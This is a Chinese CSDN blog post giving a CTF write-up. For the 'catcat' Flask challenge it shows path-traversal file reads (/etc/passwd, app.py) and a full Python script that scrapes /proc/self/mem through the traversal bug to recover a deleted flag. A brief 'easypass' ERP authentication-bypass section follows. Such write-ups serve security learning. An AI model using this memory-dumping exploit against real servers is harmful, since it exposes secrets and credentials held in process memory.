CATcat_wp_web flask 和华夏erp

文章描述了一次网络安全挑战,涉及到web应用中的文件读取漏洞,包括session伪造、任意文件读取。问题在于一个使用PythonFlask框架的应用,flag被存储在内存中并随后删除。作者通过读取Linux的/proc/self/mem来尝试找到被删除的flag,编写脚本从可读内存区域进行搜索。此外,还提到了对JS文件的分析以寻找认证绕过的线索。
摘要由CSDN通过智能技术生成

CATctf web 方向有关文件读取,session伪造,任意文件读取,内存读取

CATCAT

存在文件任意读取,试一下etc/passwd

抓包看后是python flask框架 app.py

尝试读取主程序源代码

查看后发现读取flag后又删除,flag保存在内存之中

linux下存在 proc 目录 下 cmdline cwd exe environ fd (如果用os remove ,目录下还可以得到被删除内容) self**

直接读根目录下flag不存在,读取内存 proc/self/mem linux内存权限不同区域不同,读取可读取区域的内存 用 proc/self/maps看不同区域的权限


写个脚本读取全部内存rw,然后寻找flag

最后脚本代码

import requests
import re

url="http://61.147.171.105:59618"
site="info?file=../../../proc/self/mem&start=%s&end=%s"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps_url = f"{url}/info?file=../../../../../proc/self/maps"
maps = re.findall(maps_reg,requests.get(maps_url).text)
        
for m in maps:
        start,end=m.split('-')[0],m.split('-')[1]
        #start,end =int (start,16),int (end,16)
        print(start,end)
        start=str(int(start,16))
        end=str(int(end,16))
        readurl=f'{url}/info?file=../../../../proc/self/mem&start={start}&end={end}'
        res=requests.get(readurl).content
        #secret = re.findall(b"[a-z0-9A-Z]{32}\*abcdefgh",res)
        #if secret:
        #   print(secret)
        flag = re.findall(b"[a-zA-Z]{4}\{[a-z0-9A-Z-_]*\}",res)
        if flag:
            print(flag)

easypass
找奇怪的js,发现login.JS 查看源码
源码写erp系统,搜一下,发现有检验漏洞



跟着图pass

结束 信息搜集 认证绕过

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值